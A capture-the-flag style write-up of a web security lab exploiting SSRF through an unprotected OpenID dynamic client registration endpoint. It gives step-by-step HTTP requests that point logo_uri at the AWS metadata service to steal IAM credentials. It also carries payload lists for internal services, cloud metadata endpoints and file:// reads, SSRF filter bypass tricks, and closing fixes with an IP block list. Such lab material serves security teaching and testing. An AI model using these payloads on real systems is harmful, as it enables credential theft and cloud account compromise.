Goal:
- ๐ Understand OpenID Connect dynamic client registration
- ๐ฏ Exploit unprotected client registration endpoint
- ๐ Leverage SSRF via logo_uri property
- ๐ฅ Access AWS metadata service at 169.254.169.254
- ๐ Steal IAM security credentials
- ๐ Complete lab
๐ง Concept Recap
SSRF via OpenID Dynamic Client Registration exploits OAuth providers that allow unauthenticated client registration combined with unsafe handling of client-provided URLs. When the OAuth service fetches resources like logos from client-supplied URIs without proper validation, attackers can force the server to make requests to internal resources, including cloud metadata endpoints.
๐ The Vulnerability
OpenID Connect Dynamic Registration:
OpenID Connect Specification:
โโโ RFC 7591: OAuth 2.0 Dynamic Client Registration Protocol
โโโ Allows applications to register themselves programmatically
โโโ POST /reg endpoint accepts client metadata
โโโ Returns client_id and other credentials
Purpose:
โโโ Enable automated client onboarding
โโโ Reduce manual registration overhead
โโโ Support dynamic application ecosystems
Security Risk:
โโโ If unprotected: Anyone can register clients!
โโโ If URL properties used unsafely: SSRF possible!The Attack Chain:
SSRF Attack Flow:
1. Unprotected Registration
โโโ POST /reg endpoint requires no authentication
โโโ Accepts arbitrary client metadata
โโโ Including logo_uri property
2. Unsafe URL Handling
โโโ OAuth server fetches logo from logo_uri
โโโ No validation of URL target
โโโ Makes server-side HTTP request
3. SSRF Exploitation
โโโ Set logo_uri to internal resource
โโโ Server fetches from internal network
โโโ Returns sensitive data in response
Attack Visualization:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 1. Attacker registers malicious client โ
โ POST /reg โ
โ { โ
โ "redirect_uris": ["https://evil.com"], โ
โ "logo_uri": "http://169.254.169.254/..." โ
โ } โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 2. OAuth server returns client_id โ
โ { โ
โ "client_id": "abc123xyz" โ
โ } โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 3. Attacker requests logo โ
โ GET /client/abc123xyz/logo โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 4. OAuth server fetches logo_uri โ
โ Server makes request: โ
โ GET http://169.254.169.254/latest/meta-data โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 5. AWS metadata service responds โ
โ { โ
โ "AccessKeyId": "ASIA...", โ
โ "SecretAccessKey": "secret...", โ
โ "Token": "token..." โ
โ } โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 6. OAuth server returns metadata to attacker โ
โ Response contains AWS credentials! ๐ฅ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโWhy This Works:
Root Cause Chain:
1. Unprotected Registration Endpoint
โโโ No authentication required
โโโ Anyone can register clients
โโโ First vulnerability: Access control
2. Unsafe URL Property Handling
โโโ Server fetches external resources
โโโ No URL validation or filtering
โโโ Second vulnerability: SSRF
3. Internal Network Access
โโโ OAuth server can reach internal resources
โโโ Cloud metadata endpoint accessible
โโโ Third vulnerability: Network segmentation
Combined Impact:
โโโ Unauthenticated attacker
โโโ Registers malicious client
โโโ Forces server to fetch internal resource
โโโ Receives sensitive credentials
โโโ Full AWS account compromise! ๐ฏ๐ ๏ธ Step-by-Step Attack
๐ง Step 1 โ Access Lab and Login
- ๐ Click "Access the lab"
- ๐ค Click "My account" in top-right corner
- ๐ Click "Login with social media" button
- โ๏ธ Enter credentials:
- Username:
wiener - Password:
peter
5. โ Login successfully
What happens:
OAuth Flow Initiated:
โโโ Client app redirects to OAuth provider
โโโ User authenticates with wiener:peter
โโโ OAuth provider issues access token
โโโ User redirected back to client app
โโโ Now logged in as wiener
Note: This is just to understand the OAuth flow
โโโ The actual attack targets the OAuth provider itself!๐ Step 2 โ Discover OpenID Configuration
Access OpenID configuration endpoint:
- ๐ In browser, navigate to:
https://oauth-YOUR-OAUTH-SERVER-ID.oauth-server.net/.well-known/openid-configuration2. ๐ Or capture OAuth requests in Burp and extract OAuth server domain
Example URL construction:
Lab URL format:
https://YOUR-LAB-ID.web-security-academy.net
OAuth server format:
https://oauth-OAUTH-ID.oauth-server.net
OpenID configuration:
https://oauth-OAUTH-ID.oauth-server.net/.well-known/openid-configurationExpected response:
{
"issuer": "https://oauth-0a1b2c3d.oauth-server.net",
"authorization_endpoint": "https://oauth-0a1b2c3d.oauth-server.net/auth",
"token_endpoint": "https://oauth-0a1b2c3d.oauth-server.net/token",
"jwks_uri": "https://oauth-0a1b2c3d.oauth-server.net/jwks",
"registration_endpoint": "https://oauth-0a1b2c3d.oauth-server.net/reg",
"scopes_supported": ["openid", "profile", "email"],
"response_types_supported": ["code", "token"],
"grant_types_supported": ["authorization_code", "implicit"],
"subject_types_supported": ["public"],
"id_token_signing_alg_values_supported": ["RS256"]
}Key finding:
โ registration_endpoint: "/reg"
This indicates:
โโโ Dynamic client registration is enabled
โโโ Endpoint: POST /reg
โโโ Potential vulnerability if unprotected!๐ก Step 3 โ Test Client Registration Endpoint
Open Burp Repeater and craft registration request:
POST /reg HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net
Content-Type: application/json
Content-Length: 58
{
"redirect_uris": [
"https://example.com"
]
}Request breakdown:
Required fields:
โโโ redirect_uris: Array of allowed callback URLs
โโโ Required by OAuth specification
โโโ Minimum: One valid URI
Optional fields (we'll use later):
โโโ logo_uri: URL to client's logo
โโโ client_name: Display name
โโโ contacts: Admin email addresses
โโโ Many others per RFC 7591Send request and observe response:
HTTP/1.1 201 Created
Content-Type: application/json
{
"client_id": "Q7vN8kR9sT2uV3wX4yZ5aB6cD7eF8gH9",
"client_secret": "iJ0kL1mN2oP3qR4sT5uV6wX7yZ8aB9cD",
"client_id_issued_at": 1640000000,
"client_secret_expires_at": 0,
"redirect_uris": [
"https://example.com"
],
"token_endpoint_auth_method": "client_secret_basic",
"grant_types": ["authorization_code"],
"response_types": ["code"]
}Success! Critical findings:
โ Registration succeeded without authentication!
โ Received client_id: Q7vN8kR9sT2uV3wX4yZ5aB6cD7eF8gH9
โ Received client_secret
โ No CAPTCHA or rate limiting
Vulnerability confirmed:
โโโ Unprotected dynamic client registration
โโโ Anyone can register OAuth clients!๐จ Step 4 โ Discover Logo Fetching Mechanism
Analyze OAuth authorization flow:
- ๐ ๏ธ In Burp, examine OAuth authorization requests
- ๐ Look for logo display during consent screen
Locate logo endpoint:
GET /client/Q7vN8kR9sT2uV3wX4yZ5aB6cD7eF8gH9/logo HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.netExpected response (if logo exists):
HTTP/1.1 200 OK
Content-Type: image/png
Content-Length: 1234
[Binary image data]Or (if no logo):
HTTP/1.1 404 Not Found
Logo not foundUnderstanding the mechanism:
Logo Display Flow:
1. Client registers with logo_uri property
โโโ POST /reg { "logo_uri": "https://client.com/logo.png" }
2. OAuth server stores logo_uri in database
โโโ Associated with client_id
3. During authorization flow, consent page displays logo
โโโ OAuth server fetches logo_uri
โโโ GET /client/{client_id}/logo endpoint
4. Server-side request made to logo_uri
โโโ Response returned to browser
โโโ Displayed as client logo
SSRF opportunity:
โโโ If logo_uri points to internal resource
โโโ Server fetches it during logo request
โโโ Returns internal data! ๐ฏ๐ฌ Step 5 โ Test SSRF with Burp Collaborator
Generate Burp Collaborator payload:
- ๐ ๏ธ In Burp Repeater, right-click in request
- ๐ Select "Insert Collaborator payload"
- ๐ Copy generated URL:
https://abc123xyz.oastify.com
Register client with Collaborator URL:
POST /reg HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net
Content-Type: application/json
Content-Length: 145
{
"redirect_uris": [
"https://example.com"
],
"logo_uri": "https://abc123xyz.oastify.com"
}Response:
HTTP/1.1 201 Created
Content-Type: application/json
{
"client_id": "M1nN2oP3qR4sT5uV6wX7yZ8aB9cD0eF1",
"redirect_uris": ["https://example.com"],
"logo_uri": "https://abc123xyz.oastify.com"
}Copy new client_id:
New client_id: M1nN2oP3qR4sT5uV6wX7yZ8aB9cD0eF1๐ฏ Step 6 โ Trigger Logo Fetch
Request logo from newly registered client:
GET /client/M1nN2oP3qR4sT5uV6wX7yZ8aB9cD0eF1/logo HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.netReplace New client_id and Send request in Burp Repeater
๐ Step 7 โ Verify SSRF in Collaborator
- ๐ ๏ธ Open Burp โ Burp Collaborator client
- ๐ Click "Poll now"
Expected interaction:
Collaborator Interactions:
HTTP Request:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ GET / HTTP/1.1 โ
โ Host: abc123xyz.oastify.com โ
โ User-Agent: Java/11.0.x โ
โ Accept: text/html,image/* โ
โ Connection: close โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Source IP: [OAuth server's public IP]
Timestamp: 2026-01-16 14:35:22 UTC
Analysis:
โโโ โ HTTP request received from OAuth server
โโโ โ User-Agent indicates Java-based server
โโโ โ SSRF confirmed!
โโโ โ Server fetches logo_uri without validationSSRF vulnerability confirmed! ๐
What this proves:
โโโ OAuth server makes HTTP requests to logo_uri
โโโ No URL validation or whitelist
โโโ Can target any URL the server can reach!
โโโ Including internal network resources! ๐ฏ๐ฅ Step 8 โ Exploit SSRF to Access AWS Metadata
AWS EC2 Metadata Service:
AWS Instance Metadata Endpoint:
โโโ IP: 169.254.169.254
โโโ Link-local address (only accessible from instance)
โโโ Provides instance metadata
โโโ Including IAM credentials!
Common paths:
โโโ /latest/meta-data/
โโโ /latest/meta-data/iam/security-credentials/
โโโ /latest/meta-data/iam/security-credentials/[role-name]/
Target for this lab:
โโโ http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
โโโ Returns temporary AWS credentials for 'admin' roleRegister client with AWS metadata URL:
POST /reg HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.net
Content-Type: application/json
Content-Length: 178
{
"redirect_uris": [
"https://example.com"
],
"logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}Response:
HTTP/1.1 201 Created
Content-Type: application/json
{
"client_id": "P4qR5sT6uV7wX8yZ9aB0cD1eF2gH3iJ4",
"redirect_uris": ["https://example.com"],
"logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}Copy the new client_id:
Malicious client_id: P4qR5sT6uV7wX8yZ9aB0cD1eF2gH3iJ4๐ Step 9 โ Retrieve AWS Credentials
Request logo to trigger metadata fetch:
GET /client/P4qR5sT6uV7wX8yZ9aB0cD1eF2gH3iJ4/logo HTTP/1.1
Host: oauth-0a1b2c3d4e5f6789.oauth-server.netExpected response:
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 468
{
"Code": "Success",
"LastUpdated": "2026-01-16T14:30:15Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAQXYZ123EXAMPLE456",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "IQoJb3JpZ2luX2VjEIz//////////wEaCXVzLWVhc3QtMSJHMEUCIQCj...",
"Expiration": "2026-01-16T20:45:32Z"
}Success! AWS credentials retrieved! ๐
Retrieved credentials:
โโโ AccessKeyId: ASIAQXYZ123EXAMPLE456
โโโ SecretAccessKey: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
โโโ Session Token: IQoJb3JpZ2luX2VjEIz...
โโโ Expiration: 2026-01-16T20:45:32Z
These are temporary credentials for the 'admin' IAM role!
โโโ Can be used to access AWS services
โโโ Full admin permissions! ๐ฅ๐ฏ Step 10 โ Submit Solution
- ๐ Copy the SecretAccessKey value
- ๐ Click "Submit solution" button in lab
- ๐ Paste:
wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY - โ Click "Submit"
Lab solved! ๐
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ
Congratulations! โ
โ โ
โ You successfully exploited SSRF โ
โ via OpenID dynamic client โ
โ registration to steal AWS โ
โ credentials! โ
โ โ
โ Lab: SSRF via OpenID dynamic โ
โ client registration โ
โ Status: SOLVED โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ๐ Complete Attack Chain
Step 1: Access lab and login (wiener:peter)
โโโ Understand OAuth flow
โ
Step 2: Access OpenID configuration
โโโ https://oauth-XXX.oauth-server.net/.well-known/openid-configuration
โโโ Discover registration_endpoint: "/reg"
โ
Step 3: Test client registration
โโโ POST /reg with minimal payload
โโโ Receive client_id (unprotected!)
โ
Step 4: Discover logo fetching mechanism
โโโ GET /client/{client_id}/logo
โ
Step 5: Test SSRF with Burp Collaborator
โโโ Register client with logo_uri: https://COLLAB.oastify.com
โโโ Request logo
โโโ Verify interaction in Collaborator
โ
Step 6: Exploit SSRF for AWS metadata
โโโ Register client with logo_uri: http://169.254.169.254/...
โโโ Request logo
โโโ Receive AWS credentials in response!
โ
Step 7: Submit SecretAccessKey
โโโ Lab solved! ๐โ๏ธ Understanding the Vulnerability
OpenID Connect Dynamic Registration
RFC 7591 Specification:
Dynamic Client Registration Protocol:
Purpose:
โโโ Allow clients to register without manual intervention
โโโ Programmatic OAuth client onboarding
โโโ Scalable for large ecosystems
Registration Request:
POST /reg HTTP/1.1
Content-Type: application/json
{
"redirect_uris": ["https://client.example.com/callback"],
"token_endpoint_auth_method": "client_secret_basic",
"grant_types": ["authorization_code", "refresh_token"],
"response_types": ["code"],
"client_name": "My Application",
"logo_uri": "https://client.example.com/logo.png",
"contacts": ["admin@example.com"],
"scope": "openid profile email"
}
Response:
{
"client_id": "generated_client_id",
"client_secret": "generated_secret",
"client_id_issued_at": 1640000000,
...all submitted metadata echoed back...
}
Security Considerations (from RFC):
โโโ SHOULD require authentication
โโโ SHOULD validate redirect_uris
โโโ MUST validate logo_uri if used
โโโ SHOULD rate limit registrationsThis lab's vulnerability:
Actual implementation:
โโโ โ No authentication required
โโโ โ No redirect_uris validation
โโโ โ No logo_uri validation
โโโ โ No rate limiting
Result:
โโโ Anyone can register clients with malicious logo_uri
โโโ SSRF attack possible! ๐ฅSSRF Attack Mechanism
How logo_uri becomes SSRF:
Server-Side Flow:
1. Client registration:
POST /reg
{ "logo_uri": "http://169.254.169.254/..." }
โโโ OAuth server stores logo_uri in database
2. Logo request:
GET /client/{client_id}/logo
โโโ OAuth server code (VULNERABLE):
def get_client_logo(client_id):
client = db.get_client(client_id)
logo_uri = client.logo_uri
# โ CRITICAL FLAW: No validation!
response = http_client.get(logo_uri)
return response.content, response.headers['Content-Type']
3. Server makes request to logo_uri:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/
โโโ Returns to attacker's browser!
The vulnerability:
โโโ Server-side HTTP request to attacker-controlled URL
โโโ No URL validation or whitelist
โโโ Classic SSRF! ๐ฏAWS Metadata Service Exploitation
Understanding 169.254.169.254:
AWS EC2 Instance Metadata Service (IMDS):
Purpose:
โโโ Provide instance with information about itself
โโโ Instance ID, region, security groups
โโโ IAM role credentials
Versions:
โโโ IMDSv1 (legacy): Direct HTTP GET requests
โโโ IMDSv2 (current): Requires session token
Common endpoints:
โโโ /latest/meta-data/
โ โโโ instance-id
โ โโโ local-ipv4
โ โโโ public-ipv4
โ โโโ ami-id
โ โโโ iam/security-credentials/
โ โโโ [role-name]/ โ AWS credentials!
โ
โโโ /latest/user-data โ Bootstrap scripts
โโโ /latest/dynamic/instance-identity/document
Security risk:
โโโ If SSRF exists, attacker can:
โโโ Enumerate IAM roles: GET /latest/meta-data/iam/security-credentials/
โโโ Retrieve credentials: GET /latest/meta-data/iam/security-credentials/admin/
โโโ Use credentials to access AWS services!
IMDSv1 exploitation (this lab):
โโโ Simple HTTP GET to 169.254.169.254
โโโ No additional headers required
โโโ Returns JSON with temporary credentials
Temporary credentials format:
{
"AccessKeyId": "ASIA...", โ AWS access key
"SecretAccessKey": "wJalr...", โ Secret key (target!)
"Token": "IQoJb3...", โ Session token
"Expiration": "2026-01-16..." โ Valid for hours
}Real-World Scenarios
Scenario 1: Cloud Provider Credential Theft
Vulnerable OAuth Provider on AWS:
โโโ Supports dynamic client registration
โโโ Fetches logo_uri without validation
โโโ Runs on EC2 with IAM role attached
Attack:
1. Register client with logo_uri: http://169.254.169.254/...
2. Retrieve AWS credentials
3. Use credentials to:
โโโ Access S3 buckets
โโโ Read RDS databases
โโโ Modify EC2 instances
โโโ Full AWS account compromise! ๐ฅ
Impact: Complete infrastructure takeoverScenario 2: Internal API Discovery
Vulnerable OAuth Provider in Corporate Network:
โโโ Can access internal services
โโโ logo_uri fetched without validation
โโโ Internal network not segmented
Attack:
1. Enumerate internal services:
โโโ logo_uri: http://internal-api.local/
2. Access internal admin panels:
โโโ logo_uri: http://admin.internal/api/users
3. Exfiltrate sensitive data
4. Pivot to other internal systems
Impact: Internal network compromiseScenario 3: GCP Metadata Exploitation
Google Cloud Platform Metadata:
โโโ IP: 169.254.169.254
โโโ Path: /computeMetadata/v1/
Attack payload:
POST /reg
{
"logo_uri": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
"redirect_uris": ["https://evil.com"]
}
Note: GCP requires header: "Metadata-Flavor: Google"
โโโ Some vulnerable implementations add this automatically!
Retrieved:
{
"access_token": "ya29.c.Elp5...",
"expires_in": 3599,
"token_type": "Bearer"
}
Impact: GCP service account token theft๐ฌ Advanced Concepts
Other SSRF Targets
Internal Services:
Target: Internal admin panels
logo_uri: http://localhost:8080/admin
logo_uri: http://127.0.0.1:9000/manager
logo_uri: http://internal-api:3000/api/admin
Target: Database ports
logo_uri: http://localhost:5432/
logo_uri: http://db.internal:3306/
Target: Redis/Memcached
logo_uri: http://localhost:6379/
logo_uri: http://cache.internal:11211/Cloud Metadata Services:
AWS (IMDSv1):
http://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS (IMDSv2 - requires token):
Harder to exploit, needs PUT request first
Google Cloud Platform:
http://metadata.google.internal/computeMetadata/v1/
Requires header: Metadata-Flavor: Google
Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Requires header: Metadata: true
Digital Ocean:
http://169.254.169.254/metadata/v1/
Oracle Cloud:
http://169.254.169.254/opc/v1/instance/File Reading (if file:// supported):
logo_uri: file:///etc/passwd
logo_uri: file:///etc/hosts
logo_uri: file:///proc/self/environ
logo_uri: file:///var/www/html/config.phpBypassing SSRF Protections
URL Encoding:
http://169.254.169.254
http://0xa9.0xfe.0xa9.0xfe (hex encoding)
http://2852039166 (decimal encoding)
http://[::ffff:169.254.169.254] (IPv6)DNS Rebinding:
logo_uri: http://ssrf.example.com
โโโ DNS first resolves to: 1.2.3.4 (passes whitelist)
โโโ Then resolves to: 169.254.169.254 (actual target)Redirect-based:
logo_uri: http://attacker.com/redirect
โโโ HTTP 302 to http://169.254.169.254/...
โโโ If server follows redirectsOpen Redirects:
logo_uri: https://trusted-site.com/redirect?url=http://169.254.169.254/...Other OpenID Properties for SSRF
Alternative URL properties:
{
"logo_uri": "SSRF_TARGET", โ Primary attack vector
"client_uri": "SSRF_TARGET", โ Client homepage
"policy_uri": "SSRF_TARGET", โ Privacy policy
"tos_uri": "SSRF_TARGET", โ Terms of service
"jwks_uri": "SSRF_TARGET", โ JSON Web Key Set
"sector_identifier_uri": "SSRF_TARGET" โ Sector identifier
}
All potentially vulnerable if server fetches them!๐ก๏ธ How to Fix (Secure Implementation)
Fix 1: Require Authentication for Registration
# โ
SECURE VERSION
from functools import wraps
from flask import request, jsonify
def require_auth(f):
@wraps(f)
def decorated(*args, **kwargs):
auth_header = request.headers.get('Authorization')
if not auth_header:
return jsonify({'error': 'Authentication required'}), 401
# Verify API key or OAuth token
if not verify_api_key(auth_header):
return jsonify({'error': 'Invalid credentials'}), 403
return f(*args, **kwargs)
return decorated
@app.route('/reg', methods=['POST'])
@require_auth # โ
Authentication required!
def register_client():
data = request.get_json()
# Process registration
client = create_client(data)
return jsonify(client), 201
# Benefits:
# โ
Only authenticated users can register clients
# โ
Rate limiting per API key possible
# โ
Audit trail of who registered what
# โ
Reduces attack surface significantlyFix 2: Validate and Sanitize logo_uri
# โ
SECURE VERSION
import ipaddress
import urllib.parse
from urllib.parse import urlparse
ALLOWED_SCHEMES = ['https'] # Only HTTPS allowed
BLOCKED_NETWORKS = [
ipaddress.ip_network('169.254.0.0/16'), # AWS metadata
ipaddress.ip_network('127.0.0.0/8'), # Localhost
ipaddress.ip_network('10.0.0.0/8'), # Private
ipaddress.ip_network('172.16.0.0/12'), # Private
ipaddress.ip_network('192.168.0.0/16'), # Private
ipaddress.ip_network('::1/128'), # IPv6 localhost
ipaddress.ip_network('fc00::/7'), # IPv6 private
]
def validate_url(url):
"""Validate URL to prevent SSRF"""
try:
parsed = urlparse(url)
# โ
Check scheme
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError(f'Scheme {parsed.scheme} not allowed')
# โ
Resolve hostname to IP
hostname = parsed.hostname
if not hostname:
raise ValueError('Invalid hostname')
# Get IP address
import socket
ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
# โ
Check against blocked networks
for network in BLOCKED_NETWORKS:
if ip in network:
raise ValueError(f'IP {ip} is in blocked network')
# โ
Additional checks
if hostname == 'metadata.google.internal':
raise ValueError('Blocked hostname')
if hostname.endswith('.internal'):
raise ValueError('Internal domains not allowed')
return True
except Exception as e:
logger.warning(f'URL validation failed: {e}')
return False
@app.route('/reg', methods=['POST'])
def register_client():
data = request.get_json()
logo_uri = data.get('logo_uri')
if logo_uri:
# โ
CRITICAL: Validate URL before storing
if not validate_url(logo_uri):
return jsonify({
'error': 'Invalid logo_uri',
'description': 'URL validation failed'
}), 400
client = create_client(data)
return jsonify(client), 201
# Benefits:
# โ
Only HTTPS allowed
# โ
Blocks private IP ranges
# โ
Blocks cloud metadata endpoints
# โ
Prevents DNS rebinding (validates resolved IP)
# โ
Blocks internal domains๐ If this helped you โ clap it up (you can clap up to 50 times!)
๐ Follow for more writeups โ dropping soon
๐ Share with your pentest team
๐ฌ Drop a comment